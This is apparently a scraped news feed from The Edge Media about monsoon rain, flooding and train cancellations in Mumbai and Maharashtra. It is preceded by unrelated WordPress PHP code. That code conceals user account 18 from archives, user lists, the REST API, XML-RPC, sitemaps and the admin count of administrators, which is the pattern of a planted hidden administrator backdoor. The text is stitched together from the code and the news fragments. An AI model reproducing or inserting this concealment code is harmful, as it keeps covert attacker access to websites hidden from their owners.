add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Several Trains Canceled In Maharashtra Due To Heavy Rains appeared first on The Edge Media.
]]>People living in mountainous and landslide-prone regions of the Konkan region are being relocated, according to Maharashtra Chief Minister Uddhav Thackeray, who also professed sadness over the loss of human life in a landslide in Raigad district.
According to a message from the Chief Minister’s Office (CMO), CM Thackeray urged citizens to work with the local authorities in the migration of people of hazardous coastal regions.
The post Several Trains Canceled In Maharashtra Due To Heavy Rains appeared first on The Edge Media.
]]>The post Mumbai Warned Against Heavy Rainfall, Red Alert Announced appeared first on The Edge Media.
]]>“This has been raised to red alert today, signifying the possibility of exceptionally heavy rain, taking into account the synoptic condition,” said a meteorologist of the IMD in Mumbai.
On Wednesday, the city awoke to its fourth consecutive day of rain, with 23.9mm of rain falling in the 24 hours finishing at 8.30 am.
Heavy to very heavy rains are predicted over Mumbai, with the possibility of very heavy rain (over 204.5mm) in localized spots throughout the day, as well as winds blowing of 40-50 kph, gusting to 60 mph in certain parts.
The post Mumbai Warned Against Heavy Rainfall, Red Alert Announced appeared first on The Edge Media.
]]>The post Heavy Rains In Mumbai Causes Flood, Swept Away Cars appeared first on The Edge Media.
]]>Officials reported 156.94 mm of rain in Mumbai between 8 p.m. and 2 a.m., with the east end receiving 143.14 mm and the western suburbs receiving 125.37 mm, correspondingly.
Waterlogging was recorded in a number of locations, notably Chunabhatti, Sion, Dadar, Gandhi Market, Chembur, and Kurla LBS Road. Residents were observed in some of these low-lying regions removing rainwater that had infiltrated their homes as a result of the rainfall.
The post Heavy Rains In Mumbai Causes Flood, Swept Away Cars appeared first on The Edge Media.
]]>